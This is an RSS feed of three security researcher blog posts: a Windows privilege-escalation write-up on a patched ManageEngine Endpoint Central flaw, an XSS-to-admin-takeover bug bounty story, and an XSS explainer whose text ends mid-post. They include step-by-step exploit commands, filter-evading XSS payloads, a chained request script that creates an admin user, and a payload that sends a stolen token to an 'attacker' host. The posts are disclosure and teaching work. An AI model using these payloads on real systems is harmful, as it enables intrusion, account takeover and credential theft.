<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sandro Poppi on Medium]]></title>
        <description><![CDATA[Stories by Sandro Poppi on Medium]]></description>
        <link>https://medium.com/@spoppi?source=rss-3452e07baf63------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*1gp1fzu881DA3twWE7gyqQ.jpeg</url>
            <title>Stories by Sandro Poppi on Medium</title>
            <link>https://medium.com/@spoppi?source=rss-3452e07baf63------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 11:33:28 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@spoppi/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How Scanning for Patches can result in complete System Compromise]]></title>
            <link>https://medium.com/@spoppi/how-scanning-for-patches-can-result-in-complete-system-compromise-0febd76656df?source=rss-3452e07baf63------2</link>
            <guid isPermaLink="false">https://medium.com/p/0febd76656df</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[cve-2026-7767]]></category>
            <dc:creator><![CDATA[Sandro Poppi]]></dc:creator>
            <pubDate>Tue, 03 Nov 2026 16:51:20 GMT</pubDate>
            <atom:updated>2026-11-03T16:51:20.817Z</atom:updated>
            <content:encoded><![CDATA[<p>Details about ManageEngine Endpoint Central CVE-2026–77697</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xK7ny6xI8FQMCX6H5uqJDw.jpeg" /></figure><p>In a private engagement I was working on a penetration test for ManageEngine’s <a href="https://www.manageengine.com/products/desktop-central/">Endpoint Central</a> tool on Windows. It provides companies insights into their digital inventory including missing patches, vulnerabilities etc. through a central console.</p><p>It includes a feature called <em>Patch Scan</em> which checks for missing patches in the computer’s installation base and provides feedback to the central console. While this feature helps in getting an overview to enable IT administration find outdated software, it introduced a way for local vertical privilege escalation to <strong>NT AUTHORITY/SYSTEM </strong>on Windows.</p><h3>The Patch Scan Issue</h3><p>A patch scan can be triggered manually by a local user, or is run on a regular basis automatically. It is scanning the whole file system for outdated software or libraries, where the latter also includes Java archive (.jar) files.</p><p>JAR files are zip containers for compiled Java classes. They additionally have a manifest file which stores metadata about the archive, its contents, and how the Java Virtual Machine should run or handle the code in the <em>META-INF</em> sub folder, among others. For details about the file format check <a href="https://en.wikipedia.org/wiki/JAR_(file_format)">this</a> out.</p><p>Tests showed that only specific JAR files are taken into account, namely <em>log4j-a.b.c.jar </em>where <em>a.b.c</em> is a three-digit version number to scan for the infamous <a href="https://en.wikipedia.org/wiki/Log4Shell">Log4Shell</a> vulnerability.</p><p>When patch scan finds such a JAR file, it calls <em>7za.exe</em> (command line version of the 7zip tool) and extracts the JAR file including <em>META-INF/MANIFEST.MF</em> to a newly created sub folder named <em>ExtractVmpDriveScan</em> in the same folder the JAR file resides. This is done by the patch scan process running in <strong>NT AUTHORITY/SYSTEM</strong> context.</p><p>If the folder <em>ExtractVmpDriveScan</em> already exists, it is used without recreation or file permission changes as-is.</p><p>This behavior can be abused for vertical local privilege escalation.</p><h3>The Exploit Theory</h3><p>As a prerequisite, the exploit needs to be executable by a non-admin user. Therefore, the solution requires some tricks e.g. to create symbolic links as low privileged user.</p><p>Native NTFS symbolic links cannot be created by non-admin users. But there is a workaround first documented by famous James Forshaw of Google Project Zero who used the so-called <em>Object Manager Namespace</em> for creating a so-called <em>pseudo-symbolic link.</em> For details about object manager symbolic links (symlink) see the corresponding chapter <a href="https://offsec.almond.consulting/intro-to-file-operation-abuse-on-Windows.html">here</a>.</p><p>Windows also supports so-called <a href="https://learn.microsoft.com/en-us/windows/win32/fileio/hard-links-and-junctions">NTFS junctions</a> for the NTFS filesystem, which is the default used in Windows for quite some time. A junction can be seen as a link to a directory, and it can be created by users without administrative permissions.</p><p>In short, such pseudo-symlinks require to create a junction to the object namespace named <em>RPC Control</em> and then set a symlink in it to a destination file. No specific permissions are required for that.</p><p>Luckily, James Forshaw already provides the required toolset <a href="https://github.com/googleprojectzero/symboliclink-testing-tools">here</a>.</p><p>Because of the requirement to have a junction first to create a symlink as non-privileged user — which is in contrast to real NTFS symlinks — we need to have a folder to be extracted so we can use it as the junction. This is why using <em>META-INF</em> comes in quite handy 😉</p><p>Since a patch scan walks the whole filesystem including non-admin user writable locations, we can plant our fake JAR file in any such accessible folder.</p><p>The exploit uses <em>META-INF</em> as the junction to <em>RPC Control</em> and hijacks the extraction of the JAR file. It is providing a renamed DLL as <em>META-INF/MANIFEST.MF</em> in a fake <em>log4j-2.0.1.jar. </em>By using the pseudo-symlink <em>ExtractVmpDriveScan\META-INF\MANIFEST.MF</em> pointing to the destination DLL name, we can create arbitrary files in locations a non-admin user normally can’t write to.</p><p>For the destination file in this proof-of-concept I used <br><em>C:\Program Files\Common Files\microsoft shared\ink\HID.DLL</em>.</p><p><em>HID.DLL</em> was chosen because it can be used for privilege escalation in all current Windows variants. <em>HID.DLL</em> in the given directory is called in <strong>SYSTEM</strong> context when the on-screen keyboard <em>osk.exe</em> is open while switching to Windows Secure Desktop by hitting Ctrl-Alt-Del (see this <a href="https://www.thezdi.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks-archive">ZDI post</a>).</p><p>The combination of junction, object manager namespace involvement and pseudo-symlink for this PoC is illustrated below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*CrHAE95pxZ8BrOK2lbrsaw.png" /><figcaption>Pseudo-symlink to final destination DLL</figcaption></figure><p>Any other destination file can be used to plant arbitrary files for elevation of privilege given that the planted file is executed by a privileged process. Depending on the process to be hijacked, this could be another DLL (DLL hijacking attack), an exe file or even a PowerShell script or batch file (command injection) for cases where the privileged process executes such files. One might use local services or scheduled tasks which are often run as <strong>SYSTEM</strong>.</p><h3>The Exploit Practice</h3><p>With the theory above in mind, here are the steps used in reality for a Proof-of-Concept exploit. For this post I’m using folder <em>C:\Temp\ec-test\jar-test</em> as the base folder.</p><p>Note that all steps below are done from a <strong>non-admin</strong> user account:</p><ol><li>Create your payload DLL, e.g. by compiling the <a href="https://github.com/thezdi/PoC/tree/main/FilesystemEoPs/SystemCmdLauncher"><em>SystemCmdLauncher</em></a><em> </em>project. It opens a <strong>SYSTEM</strong> terminal when the DLL is loaded.</li></ol><p>2. Open a Windows terminal and create a folder named <em>META-INF</em> in the base folder:</p><pre>mkdir C:\Temp\ec-test\jar-test\META-INF</pre><p>3. Copy <em>SystemCmdLauncher.dll</em> into <em>META-INF</em> and rename it as <em>MANIFEST.MF</em>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*WOqIDrMVxbMMBs9OprfYfg.png" /></figure><p>4. Create the JAR file zipping the folder <em>META-INF. </em>It should look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*qv_qRFrMCa6cEey3UsGG1A.png" /><figcaption>Fake JAR file</figcaption></figure><p>5. Download Google Project Zero’s <a href="https://github.com/googleprojectzero/symboliclink-testing-tools">symlink testing tools</a> and compile it using Visual Studio. We’re only using <em>CreateSymlink.exe</em> in this case.</p><p>6. In the Windows terminal, change to <em>C:\Temp\ec-test\jar-test</em>, create a subfolder named <em>ExtractVmpDriveScan</em> and<br>switch into it:</p><pre>cd C:\Temp\ec-test\jar-test<br>mkdir ExtractVmpDriveScan<br>cd ExtractVmpDriveScan</pre><p>7. In the same terminal run the following command using <em>CreateSymlink.exe</em> from Google Project Zero created in step 5:</p><pre>“\path\to\CreateSymlink.exe” C:\Temp\ec-test\jar-test\ExtractVmpDriveScan\META-INF\MANIFEST.MF “C:\Program Files\Common Files\microsoft shared\ink\HID.DLL”<br>Opened Link \RPC Control\MANIFEST.MF -&gt; \??\C:\Program Files\Common Files\microsoft shared\ink\HID.DLL: 000000000000014C<br>Press ENTER to exit and delete the symlink</pre><p>This command creates the described pseudo-symlink using object manager<br>redirecting <em>MANIFEST.MF</em> to <em>C:\Program Files\Common Files\microsoft<br>shared\ink\HID.DLL</em>.</p><p>To reveal the correct link, you may use Microsoft Sysinternals’ <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/winobj"><em>winobj64.exe</em></a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ezzKTjbFC3l15lucRJBdZQ.png" /><figcaption>Pseudo-symlink in object manager namespace RPC Control</figcaption></figure><p>8. At this point, the patch scan needs to be triggered, either manually or automatically and wait some minutes until the scan reaches our fake JAR file.</p><p>9. Check the destination folder <em>C:\Program Files\Common Files\microsoft shared\ink</em> for the existence of our injected file <em>HID.DLL</em>.</p><p>10. Using Sysinternals’ <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon"><em>procmon64.exe</em></a> the exploit looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zGyUwZRcN6xnifIjBW9PgA.png" /><figcaption>Procmon output of successful copy of HID.DLL as SYSTEM</figcaption></figure><p>11. Now trigger the load of <em>HID.DLL</em> by opening the on-screen keyboard <em>osk.exe</em> and hitting <em>Ctrl-Alt-Del</em>. This will provide the <strong>SYSTEM</strong> shell on Windows Secure Desktop:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kAlIozBmu-XgACQR" /><figcaption>Exploit executed our HID.DLL</figcaption></figure><p>12. <strong>Cleanup</strong>: <strong>Delete <em>HID.DLL</em> from the folder to not leave a backdoor</strong>! For this you need to have administrator rights, so ideally delete it from the <strong>SYSTEM</strong> shell created above.</p><h3>Conclusion</h3><p>This attack exploits some weaknesses of the running privileged patch scan process:</p><ol><li>When a privileged process creates temporary folders, it must make sure non-privileged users aren’t able to write into it. This can be easily achieved by using Windows API function <a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-gettemppath2w">GetTempPath2w()</a>.</li><li>Using a hard coded initial temporary folder even when it already exists. Always use a random path name (see above).</li><li>Don’t reuse existing folders.</li><li>Following NTFS junctions should be avoided at all if not absolutely necessary. Using Windows API <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setprocessmitigationpolicy">Profile Mitigation Policy</a> is available exactly for this.</li></ol><p>This vulnerability was fixed in <a href="https://www.manageengine.com/products/desktop-central/kb/vulnerability-management/privilege-escalation-vulnerability-during-jar-extraction.html">Endpoint Central 11.5.2600.19</a> in February 2026.</p><h4>A researcher’s side note</h4><p>I personally would have rated this vulnerability with at least high or even critical from an enterprise environment’s perspective because <strong>ANY</strong> user can escalate his privileges to <strong>SYSTEM </strong>quite easily in this case. This vulnerability would be a “great” opportunity for lateral movement for adversaries.</p><p>My CVSS proposal has been: <a href="https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/RL:O/RC:C">CVSS 8.8 high</a></p><p>ManageEngine’s vulnerability policy always rates DLL hijacking with local privilege escalation only as medium risk which one has to respect.</p><p>There were some further CVEs that came out of this engagement, all already fixed and published:</p><ul><li><a href="https://www.manageengine.com/products/desktop-central/help/cve/agent-upgrade-privilege-escalation.html">CVE-2026–77698</a>: Local privilege escalation due to Agent upgrade</li><li><a href="https://www.manageengine.com/products/desktop-central/help/cve/privilege-escalation-dll-loading-vulnerability.html">CVE-2026–77699</a>: Local privilege escalation due to loading a dll from an untrusted path</li><li><a href="https://www.manageengine.com/products/desktop-central/help/patch_management/kb/privilege-escalation-outdated.html">CVE-2026–85640</a>: Privilege Escalation Due to Outdated Component</li></ul><p>Thanks for reading!</p><p>Take care and stay secure!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0febd76656df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[An XSS Journey: From Self-XSS to Account Takeover]]></title>
            <link>https://medium.com/@spoppi/an-xss-journey-from-self-xss-to-account-takeover-b7ad8566d5fb?source=rss-3452e07baf63------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7ad8566d5fb</guid>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sandro Poppi]]></dc:creator>
            <pubDate>Tue, 22 Apr 2025 06:44:21 GMT</pubDate>
            <atom:updated>2025-04-22T06:44:21.945Z</atom:updated>
            <content:encoded><![CDATA[<p>Using chained vulnerabilities for fun — and profit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*-Q85muDnLs3Twh9qMpuNqQ.jpeg" /><figcaption>Image of <a href="https://unsplash.com/de/@benlambertmedia?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Ben Lambert</a> on <a href="https://unsplash.com/de/fotos/selektive-fokusfotografie-von-grauer-rostbedeckter-kette-und-vorhangeschloss-8B0SIUBeE0g?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash</a></figcaption></figure><p>I was invited to a private bug bounty program of a typical cloud application where you can create workflows and handle invoices for yourself as well as customers or external companies.</p><h3>Getting to know the Application</h3><p>After getting familiar with the SaaS solution, I came across a workflow form which had some fields vulnerable to XSS. The form’s content could be saved at any time for later reuse. At this time, this was only self-XSS, yet nothing worth to report as this kind of XSS is always out-of-scope.</p><p>So I added another non-admin user to my test account, opened the saved form as the new user and confirmed my XSS payload was executed. This was at least stored XSS. I could have stopped here and report it to the program. But if you read my former article <em>“</em><a href="https://medium.com/@spoppi/the-underestimated-dangers-of-cross-site-scripting-1cbbf7b62686"><em>The Underestimated Dangers of Cross-Site Scripting</em></a><em>”</em>, you would know I didn’t 😁.</p><p>The application is a multi-tenant one which also allows to add users from other tenants to your own workflows. I quickly created another account (victim) completely separated from my first one (attacker) and added the victim user to the workflow. When the victim user accessed the attacker’s workflow, the XSS payload also triggered. This time, we even have cross-tenant XSS. Again, I didn’t stop here but was looking for a realistic attack scenario exploiting this XSS. I finally decided to go for account takeover by adding an own admin account in the victim’s tenant.</p><h3>Chaining required Requests</h3><p>The first thing to do for this is to find out which requests are required to add new admin users. By using pentester’s best friend BurpSuite when adding a new admin user in the attacker tenant, the corresponding POST request for user creation can be easily analyzed (let’s call it <em>create_user</em>). The POST body holds all user-provided data like first/last name, email, role etc. as JSON. In addition, the request was secured by a session token which was generated dynamically and unpredictable.</p><p>By using Burp’s search with the specific session token in the recorded <em>create_user</em> request, the corresponding API call could be found. This API endpoint (named <em>get-session-token</em>) was secured in that it requires an authentication token as well as a subscriber id. Repeating the Burp search with the authentication token and the subscriber id of the <em>get-session-token</em> requests, respectively, two other API endpoints where added to the list:</p><ul><li><em>get-auth-token</em></li><li><em>get-subscriber-id</em></li></ul><p>While <em>get-subscriber-id</em> requires the authentication token, <em>get-auth-token</em> is protected by a secure logon cookie not readable through JavaScript. Fortunately, this cookie doesn’t need to be manually added to the request in JavaScript because it’s automatically added by the browser on our behalf. This only works as long as the request is in the cookie’s scope, i.e. same site and path as set at cookie creation. Since we’re attacking the admin user in the same application, this is true for our exploit.</p><p>Putting all requests together leads us to the following payload with four chained requests to create a new admin user through JavaScript:</p><pre>var access_token;<br><br>// get the authentication token<br>// note that the required cookie is added by the browser automatically<br>// as long as the attacked user is logged on<br>fetch(‘https://server/api/get-auth-token&#39;,{<br> ‘credentials’:’include’,<br> headers:{‘Origin’:’https://server&#39;,&#39;Accept&#39;:&#39;application/json&#39;}})<br> .then(r=&gt;r.json())<br> // get subscriber id required for getting session token<br> .then(i=&gt;{<br> auth_token = i.auth_token;<br> fetch(‘https://server/api/get-subscriber-id&#39;,{<br> headers:{‘Origin’:’https://server&#39;,&#39;Accept&#39;:&#39;application/json&#39;,&#39;Auth&#39;:auth_token}}))<br> // extract subscriber id and get session_token<br> .then(j=&gt;j.json())<br> .then(k=&gt;fetch(‘https://server/api/get-session-token&#39;, {<br> method:’POST’,<br> headers:{‘Content-Type’: ‘application/json’,’Origin’:’https://server’,’Accept’:’application/json&#39;,&#39;Auth&#39;:access_token},<br> body:’{“subscriber_id”:”’ + k.id + ‘“}’<br> }))<br> // get session_token and add user in remote account<br> .then(l=&gt;l.json())<br> .then(m=&gt;fetch(‘https://server/api/create-user&#39;,{<br> method:’POST’,<br> headers:{‘Content-Type’: ‘application/json’,’Origin’:’https://server&#39;,&#39;Accept&#39;:&#39;application/json&#39;, ‘Auth’:m.session_token},<br> body: ‘{“role_id”:[0],”authentication_type”:[“cred”],”user”:[{“email”:”dummy@example.com”,”first_name”:”dummy”,”last_name”:””}]}’<br> }))</pre><p>Adding this JavaScript code as XSS payload in the workflow form field and saving the form yielded to a HTTP 500 Internal Server Error.</p><p>After some debugging, it turned out that I hit the maximum length of the form fields which was 255. Even after minimizing the payload the most, it was still exceeding the size limit.</p><p>Was this the end? Of course not, but at this point, the real XSS journey only just begun.</p><h3>Available XSS Payloads</h3><p>The application had some filtering in place so I e.g. couldn’t use the simple</p><pre>&lt;script&gt;alert(‘XSS’)&lt;/script&gt;</pre><p>based XSS due to forbidden script tag. What finally worked was something like</p><pre>&lt;iframe/srcdoc=&quot;alert(&#39;XSS&#39;)&quot;&gt;&lt;/iframe&gt;</pre><p>or even</p><pre>&lt;embed/src=’javascript:alert(“XSS”)&#39;&gt;</pre><p>Note that the filter needed to be evaded additionally by using the slash instead of a space after the tag name which still is valid HTML.</p><p>To circumvent the 255 byte size limit of our payload I first tried to simply host the payload as <em>stage2.js </em>on my local server and use</p><pre>&lt;embed/src=’javascript:fetch(“https://attacker/stage2.js”)<br>  .then(r=&gt;r.text())<br>  .then(j=&gt;eval(j))’&gt;</pre><p>But the request failed due to CORS (<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS">Cross-Origin Resource Sharing</a>) not allowing to load files from unknown cross-origins. I had to find another CORS compatible solution.</p><h3>Digging through Notes</h3><p>One thing a pentester always does is taking notes, don’t you 😉.</p><p>As a side note, when using BurpSuite, you should have a closer look at Burp’s organizer feature which is quite helpful in taking quick notes along with the corresponding requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q4nwaQ-L8oeeZRiJKLxIXg.png" /><figcaption>Burp Organizer Example</figcaption></figure><p>Digging through my notes in Burp I found that it was possible to upload certain file types which in turn are “hidden” behind a cryptic hashed URL but available to everyone knowing the URL without authentication. While this is quite common and for certain use cases useful, from a security perspective this is at least questionable in all other cases (only my 2 cents though). In this specific case, it was nice to have 😈.</p><h3>File Upload Workarounds</h3><p>The file upload feature doesn’t allow to upload JavaScript or HTML files, only image formats (no SVG though), PDF or plain text files. Moreover, the download of these files is always provided with <em>Content-Disposition: attachment</em>, so whenever the browser downloads the file, a save-as dialog is popping-up. Nothing we want to see, especially when attacking other users.</p><p>To get around this issue, JavaScript <a href="https://developer.mozilla.org/en-US/docs/Web/API/Blob">Blobs</a> (Binary large objects) come into place. When you’re downloading files using JavaScript’s fetch API— even with <em>Content-Disposition: attachment — </em>you can store the file in a Blob without the dialog popping-up. A Blob can be read into a variable and in turn executed via eval,as long as it contains valid JavaScript.</p><p>Another nice thing about Blobs is that the uploaded file doesn’t need a special extension or to have a certain mime type. This allows to upload a text file containing JavaScript code, exactly what we need.</p><p>Uploading the former “fetch-chain” JavaScript as a text file named <em>x.txt</em> (the shortest name possible) returned the corresponding URL. This URL is then used in the XSS payload in the workflow with the following code, formatted for readability:</p><pre>&lt;embed/src=&#39;javascript:<br>  f=new FileReader();<br>  fetch(`https://server/location/documents/uploaded/x_1234567890abcdef1234567890abcdef.txt`)<br>    .then(r=&gt;r.blob())<br>    .then(b=&gt;{f.addEventListener(&quot;load&quot;,()=&gt;{eval(f.result)});<br>      f.readAsText(b)})<br>&#39;&gt;</pre><p>It uses the <a href="https://developer.mozilla.org/en-US/docs/Web/API/FileReader">FileReader</a> API to convert the Blob into simple text and uses its load event listener to execute the result after conversion via eval.</p><p>As can be seen, the file name added an underscore and the file hash between the original name and the extension.</p><p>Unfortunately, the original URL the application returned was a little longer than in the above sample code. Even after minimizing the code, I could only reduce the size to 268 bytes which was still too long to fit into our form field.</p><h3>Still not the End</h3><p>Coming that far, I tried to find a way to even shorten the URL, everything else was already minimized (at least for my JavaScript knowledge, I’d be happy to get comments on ways to make this even shorter, newlines and tabs where only added for readability above).</p><p>Six characters could be saved by removing https:. When fetch is called with a URL starting with two slashes it automagically takes the same scheme as the initial call. Six out, seven to go.</p><h3>Limited Directory Traversal</h3><p>Going back to Burp and analyzing the file upload POST request I found, the POST body had a parameter named <em>folder</em> with a default value of <em>uploaded</em>. One moment: uploaded? This sounds familiar! The download link provided had this as the last folder before the file name.</p><p>I did some testing with the upload and it turned out that I was bound to <br>/location/documents/, no real directory traversal using ../. But I could change the folder name, or even remove it completely. Fortunately, files could be stored in /location/documents/directly. This way I gained another nine saved characters, bingo!</p><p>The final payload looked like this (fully shortened):</p><pre>&lt;embed/src=&#39;javascript:f=new FileReader();fetch(`//server/location/documents/x_1234567890abcdef1234567890abcdef.txt`).then(r=&gt;r.blob()).then(b=&gt;{f.addEventListener(&quot;&quot;load&quot;&quot;,()=&gt;{eval(f.result)});f.readAsText(b)})&#39;&gt;</pre><p>In the original version, it had a size of 253 bytes which perfectly fit into the vulnerable form.</p><h3>Account Takeover</h3><p>By inviting an admin user of another tenant — which could be easily found through a search feature provided by the application itself — to such a manipulated workflow using a little social engineering in the invitation email sent out automatically with attacker provided content, the new admin user in the victim tenant is generated immediately when the form was opened (drive-by).</p><p>Finally, this journey ended exactly where it was planned to end 🥳.</p><h3>Positive End of the Journey</h3><p>After providing one of my longer reports to the program, I received the corresponding bounty for XSS — and a nice bonus just because of the account takeover. They also added:</p><blockquote>This is the most detailed report that I have ever seen, good job!</blockquote><h3>☺️</h3><h3>Conclusion</h3><p>Whenever you find an XSS vulnerability, you shouldn’t stop after the usual alert(“XSS”) popup but try to figure out what the real impact could be for the customer. You will learn down the way (at least I did), and in some cases even earn a little more pocket money 🤑.</p><p>Thanks for reading!</p><p>Take care and stay secure!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7ad8566d5fb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Underestimated Dangers of Cross-Site Scripting]]></title>
            <link>https://medium.com/@spoppi/the-underestimated-dangers-of-cross-site-scripting-1cbbf7b62686?source=rss-3452e07baf63------2</link>
            <guid isPermaLink="false">https://medium.com/p/1cbbf7b62686</guid>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sandro Poppi]]></dc:creator>
            <pubDate>Sat, 30 Dec 2023 17:23:13 GMT</pubDate>
            <atom:updated>2023-12-30T17:23:13.804Z</atom:updated>
            <content:encoded><![CDATA[<p>Whenever it comes to cross-site scripting (XSS) findings within a penetration test or bug bounty hunt, the usual simple payload is almost always based on something like</p><pre>&lt;script&gt;alert(“XSS”)&lt;/script&gt;<br>&lt;svg onload=alert(&#39;XSS&#39;)&gt;<br>&lt;img src=x onerror=alert(`XSS`)&gt;</pre><p>or similar. While this is only used for Proof-of-Concept purposes and doesn’t imply any risk per se, people who are not too deep into XSS often tend to say:</p><p><em>“So what? It gives only a popup, why should I care?”</em></p><p>As a pentester, as well as to make for a higher bug bounty rating 😉, it’s vital to provide the real impact of the vulnerability for the specific application to the customer. It also makes a difference, if it’s a reflected versus a stored XSS vulnerability (for details about those see <a href="https://en.wikipedia.org/wiki/Cross-site_scripting">Wikipedia</a>).</p><p>I’ve gotten into the habit to always provide at least two different payloads, the former simple general PoC, and an application specific one. For the latter it’s often helpful to run through the proxy history (you’re using BurpSuite or ZAProxy, aren’t you) to find interesting packets or API endpoints which provide data useful for extraction in their response, especially authentication tokens, or functionality to be (ab)used via a request created by your XSS payload.</p><p>In addition, bug bounty providers like BugCrowd use their own vulnerability rating <a href="https://bugcrowd.com/vulnerability-rating-taxonomy">taxonomy</a>, where XSS is rated between an informational P5 for Self-XSS up to a high P2 for a stored XSS when it allows a non-privileged user to impersonate anyone including admins. So it perfectly makes sense to dig deeper with what may be achieved with XSS.</p><p>To show some XSS vulnerabilities I found throughout this year in real world applications, I created a small vulnerable PHP website (not very sophisticated) which you can find <a href="https://github.com/spoppi/XSS-Demo-App">here</a>. The PoCs below are based on it.</p><blockquote>Just for the record: The vulnerabilities were found in private bug bounty programs or pentest engagements I’m not allowed to disclose, sorry.</blockquote><h4>Vulnerability 1: XSS to leak authentication tokens</h4><p>The application was prone to a reflected XSS. It also provided an API endpoint which provides the calling user’s authentication token and returns it via http response header. This token could be extracted via JavaScript and sent back to the attacker to be reused for user impersonation and privilege escalation.</p><p><strong>Proof-of-Concept</strong></p><p>Based on my demo app (see above).</p><ul><li>Open the web site’s <a href="http://localhost/XSS-medium-demo/index.php">login</a> page and login with <em>alice/123456</em>:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*BKQOLE8tMp6WsygRSerRPg.png" /><figcaption>Login Form</figcaption></figure><ul><li>After the login you can add a parameter <em>msg</em> which is prone to XSS, using the usual simple payload, it gives this:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*jEn671_aG9Zv_XHSU847nA.png" /><figcaption>Simple XSS PoC executed</figcaption></figure><ul><li>The application provides an API endpoint at <em>/user/token</em> where you can GET the current authentication token via the response header <em>AuthenticationToken</em>:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dRWosoaXErk1y1CNP7CBwQ.png" /><figcaption>Authentication Token API</figcaption></figure><ul><li>When we combine the XSS in the <em>msg</em> parameter with a call to the <em>/user/token</em> endpoint, we can extract the <em>AuthenticationToken</em> header and send it upstream to an attacker controlled server. The corresponding XSS payload looks like this:</li></ul><pre>&lt;script&gt;<br>  fetch(&#39;http://localhost/XSS-medium-demo/index.php/user/token&#39;)<br>    .then(response=&gt;response.headers.get(&#39;AuthenticationToken&#39;))<br>    .then(token=&gt;fetch(&#39;https://attacker/?token=&#39;+token));<br>&lt;/script&gt;</pre><ul><li>The resulting link including our token stealing payload (note to URL-encode the <em>+</em> sign as <em>%2b</em>) is:</li></ul><pre>http://localhost/XSS-medium-demo/index.php?msg=&lt;script&gt;fetch(&#39;http://localhost/XSS-medium-demo/index.php/user/token&#39;).then(response=&gt;response.headers.get(&#39;AuthenticationToken&#39;)).then(token=&gt;fetch(&#39;https://attacker/?token=&#39;%2btoken));&lt;/script&gt;</pre><ul><li>What’s left is to make another user, e.g. an admin, open the corresponding link. This could be achieved via phishing, or if it was a stored XSS, wait for the link to be triggered. The result would look like this:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*2kx1Xs3vA_JDVZy-w9WcXQ.png" /><figcaption>Authentication token leakage to attacker server</figcaption></figure><p>To reuse this token, add it to e.g. an authentication request header or an authentication cookie, depending on the application. You most probably will have user impersonation, or even privilege escalation in case of a higher privileged user than yours.</p><h4>Vulnerability 2: Log injection leads to trigger administrative function through stored XSS</h4><p>Another application was vulnerable to <strong><em>unauthenticated</em></strong> <a href="https://medium.com/@shatabda/security-log-injection-what-how-a510cfc0f73b">log injection</a> in the web site’s login form. By crafting a specific log entry, it was possible to inject arbitrary JavaScript into a web page where only administrators have access to. Whenever this web page was opened by an admin, the injected payload was automatically read from the log via a regular expression search, added to the web page as-is, and thus triggered. This allowed to call any API endpoint with the rights of the calling admin user, e.g. to create new users etc.</p><p><strong>Proof-of-Concept</strong></p><p>We again use the vulnerable demo app from above.</p><p>The application provides a feature to lookup entries in the log file for a specific user which is only available for admin. It extracts data from the log file based on a simple regular expression and embeds it into the web page without any validation or escaping. It requires a little reconnaissance to find the correct format for the injected payload, though.</p><ul><li>Open the web site’s <a href="http://localhost/XSS-medium-demo/index.php">login</a> page:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*72--PTudhFQ8pLBr00vStQ.png" /><figcaption>Login Form</figcaption></figure><ul><li>Add an arbitrary XSS payload to the username field, prepended with <em>username` </em>(note the backtick), e.g.</li></ul><pre>admin`&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*joWKcSF8q1mL6jssHtKfqA.png" /><figcaption>XSS Payload for Log Injection</figcaption></figure><ul><li>The corresponding log entry now looks like this:</li></ul><pre>Invalid login for user `admin`&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;`</pre><ul><li>The application provides the <em>/user/info</em> API endpoint to look for log entries for a given user, only available for the admin.</li><li>It makes use of the following regular expression to extract the corresponding log entries:</li></ul><pre>/^.+`(&#39;.$user.&#39;)`.*$/i</pre><ul><li>When an admin now logs in and makes use of the <em>Lookup User</em> function for a specific user, the XSS payload is extracted and executed:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*PwPA6iK-tWmt9oaJmLLAtA.png" /><figcaption>Lookup User as Admin</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*QUL8YJWX0kF0cHy0NAqs8g.png" /><figcaption>Get Info about user 